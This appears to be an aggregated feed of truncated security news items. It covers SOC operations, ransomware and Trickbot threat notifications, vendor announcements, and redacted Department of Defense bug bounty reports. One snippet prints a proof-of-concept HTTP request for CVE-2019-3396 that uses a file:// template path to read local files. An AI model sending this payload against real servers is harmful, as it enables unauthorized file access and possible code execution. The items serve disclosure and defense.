Lessons learned from the Microsoft SOC—Part 2: Organizing people

In the second post in our series, we focus on the most valuable resource in the security operations center SOC—our people. This series is designed to share our approach and experience with operations, so you can use what we learned to improve your SOC. In Part 1: Organization, we covered the SOC’...

U.S. Dept Of Defense: [Critical] Possibility to takeover any user account #2 without interaction on the https://██████████

Description Hello. This time I discovered a way to tekeover any user's account via unsafe password reset. This time it's much easier than 1 way in the 543678 report. When users requests the password reset, the next link is come to the email: https://█████/resetpassword.aspx?ru=userid&op=token The...

Casino Goes All In and Wins Big with Imperva Security

There’s no good time to be hit by ransom-seeking DDoS attackers. For one casino-entertainment provider, the timing was particularly bad — right before one of its largest online poker events in 2016. The casino, which generates multiple billions in revenue per year, leveraged Imperva’s emergency...

Partner Perspectives: Accelerated Alert Handling from Syncurity and Carbon Black

JP Bourget is the Founder and CSO of Syncurity. One of the key Security Orchestration, Automation and Response SOAR use cases I see every day is alert handling. As more and more organizations adopt EDR solutions, like those offered by Carbon Black, Syncurity IR-Flow is able to speed up the alert...

U.S. Dept Of Defense: LFI with potential to RCE on ██████ using CVE-2019-3396

POC POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: ██████ Content-Type: application/json Content-Length: 174 "contentId":"12345","macro":"name":"widget","body":"","params":"url":"https://www.youtube.com/watch?v=wHEHYJpCkpg","width":"300","height":"200","template":"file://../" Thanks, Ben Impac...

McAfee DXL Platform and McAfee TIE Server Information Disclosure Vulnerability

McAfee DXL Platform and McAfee TIE Server are both products of McAfee, Inc. McAfee DXL Platform is a data exchange layer platform. McAfee TIE Server is a network threat defense server. An information disclosure vulnerability exists in McAfee DXL Platform version 5.0.1 HF2 prior to version 5.x,...

Microsoft Windows Latest Servicing Stack Updates-Defense in Depth (KB4493510)

This host is missing an important security update according to Microsoft KB4493510. SPDX-FileCopyrightText: 2019 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescripti...

U.S. Dept Of Defense: Remote Code Execution - Unauthenticated Remote Command Injection (via Microsoft SharePoint CVE-2019-0604)

Summary: Microsoft recently released a patch for CVE-2019-0604. This vulnerability is caused by the Microsoft SharePoint application deserializing untrusted data from a user. This means an attacker can send a specially crafted/encoded parameter to a Microsoft SharePoint URL, and it will allow...

How Android Fought the Chamois Botnet—and Won

The Chamois botnet once infected 20 million Android devices. Here's how Google finally tore it up...

XSLeaks attack analysis-HTTP caching and cross-site leakage-vulnerability warning-the black bar safety net

0x1 XSSearch past lives This attack is the earliest can be dated back to 10 years agoi.e. 2009, one named Chris Evans, security personnel describes one of the Yahoo attack: Chris use a malicious web site to search for the site visitor's e-mail Inbox, and he by constructing different keywords mann...

Cynet is Launching a Free Threat Assessment for Businesses

By Zehra Ali In the age of regular cyber attacks and constant digital threats, it’s no wonder that businesses find themselves spending more and more on defense. Cyber security spending by businesses climbed to $13 million per company in 2018, an increase of 12% on the previous year. It’s an...

CB TAU Threat Intelligence Notification: Email VBS Downloader Connects to C2 Server, Downloads Trickbot Payload

Carbon Black recently learned a customer had received a malicious email attached with a zip file which contained a malicious VBS script file. This malicious VBS downloader will connect to a Command & Control server and then download a malicious payload which contains Trickbot onto the victim’s...

CB TAU Threat Intelligence Notification: GandCrab 5.2 Ransomware Attempts to Delete Volume Shadow Copies

GandCrab 5.2 ransomware will append seven randomly generated strings as the file extension to each encrypted file and drop a ransom note named as ‘generated file extension-MANUAL.txt’, for example, “office.doc.uahmthl” and “UAHMTHL-MANUAL.txt”. It will also change the desktop background of the...

U.S. Dept Of Defense: Email PII disclosure due to Insecure Password Reset field

Summary: I revisited report 235041 and discovered the vulnerability isn't patched properly as I was able to discover more emails I could gleam. It appears the core mechanism allows anyone who knows specific names or user names to leak sensitive emails Description: This password reset field allows...

U.S. Dept Of Defense: SQL Injection in ████

Summary There is an SQL injection vulnerability in ████████ in the /█████/recruiter/updapp.aspx page, exploitable through the appid form parameter. Impact An attacker could use this vulnerability to control the content in the database, exfiltrate information, and obtain remote code execution...

U.S. Dept Of Defense: Trace.axd page leaks sensitive information

Summary Trace.axd leaks sensitive information on ██████████ by allowing signed in users to view previous requests sent to the webserver. Impact Information leaked includes but is not limited to: - full names - email addresses - social security numbers - dates of birth - plaintext passwords -...

Supply Chain Integrity Month

April is Supply Chain Integrity Month. The Cybersecurity and Infrastructure Security Agency CISA, the Office of the Director of National Intelligence ODNI, and the Department of Defense DOD are partnering to promote the importance of supply chain security and risk management. Breaches in the supp...

Registration for the 2019 Talos Threat Research Summit is now open

The Talos Threat Research Summit is officially back. Registration is open now for the second year of our conference by defenders, for defenders. Tickets sold out quickly last year for our inaugural event, so act quickly. This year’s Research Summit will take place on June 9 in San Diego, Calif. —...

Ex-NSA Contractor Pleads Guilty to 20-Year-Long Theft of Classified Data

A former National Security Agency contractor—who stole an enormous amount of sensitive information from the agency and then stored it at his home and car for over two decades—today changed his plea to guilty. The theft was labeled as the largest heist of classified government material in America'...

CB TAU Threat Intelligence Notification: CryptoMix Clop Ransomware Disables Startup Repair, Removes & Edits Shadow Volume Copies

Summary A wew variant of CryptoMix Clop ransomware has been distributed as a binary that is digitally signed and verified which makes it look like a legitimate executable. In addition, CryptoMix Clop ransomware will append ‘.clop’ or ‘.ciop’ as a file extension to the encrypted file and drop a...